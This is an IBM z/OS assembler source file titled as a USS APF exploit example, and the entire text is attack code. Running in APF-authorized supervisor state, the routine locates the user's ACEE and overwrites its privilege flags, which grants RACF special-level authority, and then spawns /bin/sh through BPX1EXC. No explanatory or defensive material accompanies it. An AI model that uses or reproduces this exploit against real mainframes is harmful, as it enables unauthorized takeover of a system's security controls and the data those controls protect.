USS APF Exploit Example

MODWSHEL  CSECT              # for racf only
MODWSHEL  AMODE 31
         YREGS
MAIN     DS    0F
         BAKR  R14,0
         LR    8,15            # copy R15 to R8
         USING MAIN,8          # R8 for addressability throughout
         MODESET KEY=ZERO,                                             X
               MODE=SUP
*
* flip acee
*
         L     R11,X'224'
         L     R11,X'6C'(R11)
         L     R11,X'C8'(R11)
         NI    X'26'(R11),X'00'
         OI    X'26'(R11),X'B3'
         CALL  BPX1EXC,                                                X
               (EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,                    x
               EXENVC,EXENVLL,EXENVL,                                  x
               EXITRA,EXITPLA,                                         x
               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)
         MODESET KEY=NZERO,MODE=PROB
*
* clear and exit
*
         XR    R15,R15
         PR
         DS    0F
*
* BPX1EXC vars
*
EXCMD    DC    CL7'/bin/sh'       # command to exec
EXCMDL   DC    A(L'EXCMD)         # len of cmd to exec
EXARGC   DC    F'1'               # num of arguments
EXARG1   DC    CL2'sh'            # arg 1 to exec
EXARG1L  DC    A(L'EXARG1)        # len of arg1
EXARGL   DC    A(EXARG1)          # addr of argument list
EXARGLL  DC    A(EXARG1L)         # addr of arg len list
EXENVC   DC    F'0'               # env var count
EXENVL   DC    F'0'               # env var arg list addr
EXENVLL  DC    F'0'               # env var arg len addr
EXITRA   DC    F'0'               # exit routine addr
EXITPLA  DC    F'0'               # exit rout parm list addr
RTN_VAL  DS    F                  # return value
RTN_COD  DS    F                  # return code
RSN_COD  DS    F                  # reason code
PLIST    DS    13A
         DROP  R8
         END